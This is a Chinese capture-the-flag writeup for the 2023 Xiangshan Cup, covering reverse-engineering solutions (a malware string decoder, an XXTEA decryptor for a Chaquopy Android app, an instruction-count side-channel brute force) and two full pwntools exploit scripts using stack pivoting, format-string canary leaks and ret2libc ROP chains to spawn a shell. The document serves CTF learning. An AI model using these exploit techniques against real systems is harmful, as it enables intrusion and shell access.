2023香山杯RE&PWN writeup
RE
URL从哪来
32位windows恶意软件分析
微步检测
题目给的exe又在c盘生成了另一个程序并创建进程,ou.exe可以直接从微步下载,或者根据偏移提取
分析c盘中真正的恶意程序对数据进行逐位-30和base64加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| v3[0] = 120; v3[1] = 139; v3[2] = 150; v3[3] = 134; v3[4] = 120; v3[5] = 81; v3[6] = 145; v3[7] = 80; v3[8] = 108; v3[9] = 98; v3[10] = 119; v3[11] = 83; v3[12] = 108; v3[13] = 136; v3[14] = 99; v3[15] = 80; v3[16] = 120; v3[17] = 113; v3[18] = 78; v3[19] = 80; v3[20] = 107; v3[21] = 152; v3[22] = 119; v3[23] = 83; v3[24] = 106; v3[25] = 114; v3[26] = 119; v3[27] = 151; v3[28] = 108; v3[29] = 139; v3[30] = 119; v3[31] = 146; v3[32] = 108; v3[33] = 152; v3[34] = 99; v3[35] = 80; v3[36] = 109; v3[37] = 113; v3[38] = 78; v3[39] = 81; v3[40] = 108; v3[41] = 98; v3[42] = 119; v3[43] = 150; v3[44] = 108; v3[45] = 152; v3[46] = 95; v3[47] = 80; v3[48] = 107; v3[49] = 114; v3[50] = 129; v3[51] = 81; v3[52] = 108; v3[53] = 136; v3[54] = 100; v3[55] = 87; v14 = 56; Block = malloc(0x39u); if ( !Block ) return 1; memset(Block, 0, v14 + 1); for ( i = 0; i < v14; ++i ) *((_BYTE *)Block + i) = LOBYTE(v3[i]) - 30; v13 = sub_401110((const char *)Block);
|
写脚本
1 2 3 4 5 6 7 8
| import base64 v3 = [120, 139, 150, 134, 120, 81, 145, 80, 108, 98, 119, 83, 108, 136, 99, 80, 120, 113, 78, 80, 107, 152, 119, 83, 106, 114, 119, 151, 108, 139, 119, 146, 108, 152, 99, 80, 109, 113, 78, 81, 108, 98, 119, 150, 108, 152, 95, 80, 107, 114, 129, 81, 108, 136, 100, 87] block = '' for i in v3: block += chr(i-30)
block = base64.b64decode(block) print(block)
|
hello_py
chaquopy框架app的逆向
https://blog.csdn.net/wwb1990/article/details/104051068
java层找到MainActivity和import导入的b.c.a.a
这里应该是类似导入python代码,可以推测python文件名应该是hello
1
| s = Python.getInstance().getModule("hello")
|
这里通过callAttr调用了sayhello函数
1
| s.callAttr("sayHello", new Object[0]);
|
这里应该是监听鼠标点击按钮的事件,触发后跳转到a,即b.c.a.a
1
| this.p.setOnClickListener(new a(this));
|
找到这里,最关键的check函数是python源码中的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public void onClick(View view) { Context baseContext; String str; String obj = this.f717b.r.getText().toString(); this.f717b.q.setText(obj); if (MainActivity.s.callAttr("check", obj).toBoolean()) { baseContext = this.f717b.getBaseContext(); str = "you are right~ flag is flag{your input}"; } else { baseContext = this.f717b.getBaseContext(); str = "Wrong!"; } Toast.makeText(baseContext, str, 1).show(); }
|
问了chatgpt,该框架app打包后的python代码位于assets文件夹,但是里面只有.imy文件和so文件,so文件翻了一遍,都不像是有check函数,查看imy文件时发现开头都是PK,可能是压缩包,换后缀名为rar解压发现app.imy中就是hello.py
代码都是混淆后的,用pycharm对代码进行简单的重命名,如下对check函数进行了简单去混淆,分析可得加密流程是先将字符串四个字节一组小端序转换为int数组,一共36个字符9个int,然后xxtea加密,xxtea的特征有0x9e3779b9,5234的位移,6 + 52,
这题的xxtea代码和该博客的一模一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from java import jboolean ,jclass import struct import ctypes def MX (O0O00OOO00OO00O00 ,O0OO0O00OO0O000OO ,OO000OO000000O0O0 ,OOO00O00OOO000OOO ,OO0OOO0OOO0OOOO0O ,O0OO000O0000O000O ): OOO000O0O0OO00000 =(O0O00OOO00OO00O00 .value >>5 ^O0OO0O00OO0O000OO .value <<2 )+(O0OO0O00OO0O000OO .value >>3 ^O0O00OOO00OO00O00 .value <<4 ) OOO0OOOOOO0O0OO00 =(OO000OO000000O0O0 .value ^O0OO0O00OO0O000OO .value )+(OOO00O00OOO000OOO [(OO0OOO0OOO0OOOO0O &3 )^O0OO000O0000O000O .value ]^O0O00OOO00OO00O00 .value ) return ctypes .c_uint32 (OOO000O0O0OO00000 ^OOO0OOOOOO0O0OO00 ) def encrypt (n, input, key): O0OOO0OO00O0000OO =0x9e3779b9 OOOO0OOOO00O0OOOO = 6 + 52 // n O00OO00000O0OO00O =ctypes .c_uint32 (0 ) OO0OOOO0O0O0O0OO0 =ctypes .c_uint32 (input [n - 1]) OOOOO00000OOOOOOO =ctypes .c_uint32 (0 ) while OOOO0OOOO00O0OOOO >0 : O00OO00000O0OO00O .value +=O0OOO0OO00O0000OO OOOOO00000OOOOOOO .value =(O00OO00000O0OO00O .value >>2 )&3 for OO0O0OOO000O0000O in range (n - 1): OOO0OO00O0OO0O000 =ctypes .c_uint32 (input [OO0O0OOO000O0000O + 1]) input [OO0O0OOO000O0000O]=ctypes .c_uint32 (input [OO0O0OOO000O0000O] + MX (OO0OOOO0O0O0O0OO0, OOO0OO00O0OO0O000, O00OO00000O0OO00O, key, OO0O0OOO000O0000O, OOOOO00000OOOOOOO).value).value OO0OOOO0O0O0O0OO0 .value =input [OO0O0OOO000O0000O] OOO0OO00O0OO0O000 =ctypes .c_uint32 (input [0]) input [n - 1]=ctypes .c_uint32 (input [n - 1] + MX (OO0OOOO0O0O0O0OO0, OOO0OO00O0OO0O000, O00OO00000O0OO00O, key, n - 1, OOOOO00000OOOOOOO).value).value OO0OOOO0O0O0O0OO0 .value =input [n - 1] OOOO0OOOO00O0OOOO -=1 return input
def check (input): print ("checking~~~: " + input) input =str (input) if len (input)!=36 : return jboolean (False ) v1 =[] for i in range (0 ,36 ,4 ): result = input [i:i + 4].encode ('latin-1') v1 .append (result ) v2 =[] for i in v1 : v2 .append (struct .unpack ("<I",i )[0 ]) print (v2 ) result =encrypt (9 ,v2 ,[12345678 ,12398712 ,91283904 ,12378192 ]) chiper =[689085350 ,626885696 ,1894439255 ,1204672445 ,1869189675 ,475967424 ,1932042439 ,1280104741 ,2808893494 ] for i in range (9 ): if chiper [i ]!=result [i ]: return jboolean (False ) return jboolean (True ) def sayHello (): print ("hello from py")
|
脚本,注意解密后需要每四字节转换端序后再转化成字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| from ctypes import * import binascii import struct
def MX(z, y, total, key, p, e): temp1 = (z.value >> 5 ^ y.value << 2) + (y.value >> 3 ^ z.value << 4) temp2 = (total.value ^ y.value) + (key[(p & 3) ^ e.value] ^ z.value)
return c_uint32(temp1 ^ temp2)
def encrypt(n, v, key): delta = 0x9e3779b9 rounds = 6 + 52 // n
total = c_uint32(0) z = c_uint32(v[n - 1]) e = c_uint32(0)
while rounds > 0: total.value += delta e.value = (total.value >> 2) & 3 for p in range(n - 1): y = c_uint32(v[p + 1]) v[p] = c_uint32(v[p] + MX(z, y, total, key, p, e).value).value z.value = v[p] y = c_uint32(v[0]) v[n - 1] = c_uint32(v[n - 1] + MX(z, y, total, key, n - 1, e).value).value z.value = v[n - 1] rounds -= 1
return v
def decrypt(n, v, key): delta = 0x9e3779b9 rounds = 6 + 52 // n
total = c_uint32(rounds * delta) y = c_uint32(v[0]) e = c_uint32(0)
while rounds > 0: e.value = (total.value >> 2) & 3 for p in range(n - 1, 0, -1): z = c_uint32(v[p - 1]) v[p] = c_uint32((v[p] - MX(z, y, total, key, p, e).value)).value y.value = v[p] z = c_uint32(v[n - 1]) v[0] = c_uint32(v[0] - MX(z, y, total, key, 0, e).value).value y.value = v[0] total.value -= delta rounds -= 1
return v
if __name__ == "__main__": k = [12345678 ,12398712 ,91283904 ,12378192 ] n = 9 res = [689085350 ,626885696 ,1894439255 ,1204672445 ,1869189675 ,475967424 ,1932042439 ,1280104741 ,2808893494 ] res = decrypt(n, res, k) print("Decrypted data is : ", hex(res[0]), hex(res[1]), hex(res[2]), hex(res[3]), hex(res[4]), hex(res[5]), hex(res[6]), hex(res[7]), hex(res[8])) v1 = [b'\x38\x66\x31\x63', b'\x36\x65\x63\x61', b'\x34\x62\x34\x2d', b'\x39\x34\x2d\x36', b'\x62\x2d\x31\x33', b'\x2d\x62\x35\x32', b'\x31\x30\x31\x61', b'\x39\x38\x61\x30', b'\x32\x39\x35\x63'] v2 = [] for i in v1: v2.append(struct.unpack("<I", i)[0]) print(v2) for i in range(9): print(hex(v2[i]),end=' ') asc = '63316638616365362d346234362d343933312d623235622d613130313061383963353932' str = binascii.unhexlify(asc) print(str)
|
nesting
虚拟机逆向
vm题的一些思路
1.还原结构体和switch跳表,读懂vm代码,写代码将opcode转化成汇编指令语句然后再逆向汇编代码,这种方法效率最低,做一题需要很久,像这次比赛两个小时肯定不够,除非做到过类似的。
2.软件分析工具和脚本。
3.爆破。主要用于程序对flag(input)的检测是逐位的情况下,每一位的对错都会导致执行流的改变,执行时间或执行指令数量相差巨大,这样就能进行侧信道逐位爆破。战队里大佬用侧信道的方式爆破出来了,学习一下。
首先来逆向代码
run_vm中的代码比较混乱,主要原因是将a1识别成了数组,并将swtich语句识别成了if-else语句,需要创建结构体对a1进行重定义并恢复switch跳表
tips:ida7.7及以上可以识别出switch语句,不需要手动恢复
ida创建结构体参考 ida修复switch跳表参考
跳表修复时Default jump address不设定好的话,会出现多余的case
结构体创建完后将run_vm函数的指向opcode的参数定义成刚刚创建的结构体(选中,右键, Convert to struct)
修复前
修复后
现在代码就比较美观了,但是虚拟机的逻辑还是很复杂,所以不逆了
程序运行后会让你输入flag并检测flag是否正确
这里用sde来统计程序运行到的指令数量,结果会在命令行以ICOUNT: 3421916的形式输出,这也方便爆破脚本的编写
1
| sde -icount -- ./nesting
|
可以发现每多输入一位,总指令数都会增加20万左右
flag的前4位必定是”flag”,分别输入”1111”,”f111”,”fl11”,”fla1”,”flag”可以发现在位数相同的情况下,flag每正确一位总指令数会增加55000左右,说明flag是逐位check的,并且不同结果的执行流长度相差较大,可以通过这一点来爆破flag
爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import*
def run(str): p = process(['sde64','-icount','--','./nesting']) p.recvuntil('Input your flag:') p.sendline(str) p.recvuntil('ICOUNT:') icount = int(p.recvline()) p.close() return icount
table = '0123456789abcdef-}'
flag = 'flag{'
while True: t1 = run(flag+'#') ok = 0 for ch in table: t2 = run(flag+ch) if(t2-t1>50000): flag = flag + ch ok = 1 print(flag) break if(ok==0): print('result : '+flag) exit()
|
PWN
move
main函数
vuln函数
先读取0x20的数据到bss段,再读取4字节数据,等于0x12345678的话vuln函数中可以栈溢出0x10字节,可以覆盖rbp和返回地址
思路是栈迁移到bss段,跳转到vuln中的read函数,向bss中的rbp-0x30处读入0x40的数据,不断重复构造。
注意第二次和第三次执行vuln中的read函数时ROP是在read函数中进行的,read函数本身没有push rbp和leave,只有ret,利用read中的ret返回到bss中的p64(rbp_ret) + p64(bss_addr-0x30-8) + p64(leave_ret)来反复在bss段进行ROP。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import* from LibcSearcher import* context(log_level='debug',os="linux", arch="amd64")
elf = ELF('./pwn')
io = process('./pwn')
def debug(): gdb.attach(io,'b main') sleep(1) rbp_ret = 0x401262 rdi_ret = 0x401353
puts_got = 0x404018
puts_plt = 0x401080
bss_addr = 0x4050A0
leave_ret = 0x4012E0
vuln_read = 0x401230
io.recvuntil('lets travel again!') bss1 = p64(bss_addr) + p64(vuln_read) io.send(bss1)
io.recvuntil('Input your setp number') io.send(b'\x78\x56\x34\x12')
io.recvuntil('TaiCooLa') payload1 = b'a'*0x30 + p64(bss_addr) + p64(leave_ret) io.send(payload1)
sleep(0.5) bss2 = p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(rbp_ret) + p64(bss_addr) + p64(vuln_read) + p64(bss_addr-0x30-8) + p64(leave_ret) io.send(bss2)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('puts_addr = ' + hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
success('libc_base = ' + hex(libc_base))
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
sleep(0.5) payload2 = p64(rdi_ret) + p64(binsh) + p64(system_addr) + p64(0) + p64(0) + p64(rbp_ret) + p64(bss_addr-0x30-8) + p64(leave_ret) io.send(payload2)
io.interactive()
|
pwthon
本地运行条件:
1
| sys.path.append('path_to/app.cpython-37m-x86_64-linux-gnu.so')
|
查看保护
1 2 3 4 5 6 7
| $ checksec app.cpython-37m-x86_64-linux-gnu.so Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RPATH: '/home/xiran/anaconda3/envs/cython/lib'
|
打开ida,通过查看字符串交叉引用找到Welcome2Pwnthon函数
发现泄露了app_so库中__pyx_f_3app_get_info函数的地址,第一次read后有格式化字符串漏洞,第二次read存在栈溢出。
用gdb调试,在栈上找到了open64函数,并且在canary之前,那么一次格式化字符串可以泄露libc+canary
exp,ubuntu2004本机打通了,其它环境可能open64和canary的偏移要修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import* from LibcSearcher import* context(log_level='debug',arch='amd64')
io = process(['python3.7','main.py'])
def debug(): gdb.attach(io,'b _pyx_f_3app_Welcome2Pwnthon') sleep(1) io.sendline('0') io.recvuntil('Give you a gift ') app_info = int(io.recv(),16) success('app_info = ' + hex(app_info)) app_base = app_info - 0x68b0 success('app_base = ' + hex(app_base))
io.sendline('%p-'*35) datas = io.readline().decode().split("-") open64_addr = int(datas[23],16)-232 canary = int(datas[29],16)
libc = LibcSearcher('open64',open64_addr) libc_base = open64_addr - libc.dump('open64') success('libc_base = ' + hex(libc_base)) system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') rdi_ret = app_base + 0x3f8f ret = app_base + 0x301a
payload = b'a'*0x108 + p64(canary) + p64(0) + p64(ret) + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) io.sendline(payload)
io.interactive()
|
reference
星盟2023香山杯2023香山杯wp
ArrestYou香山杯2023香山杯wp,公众号山海之关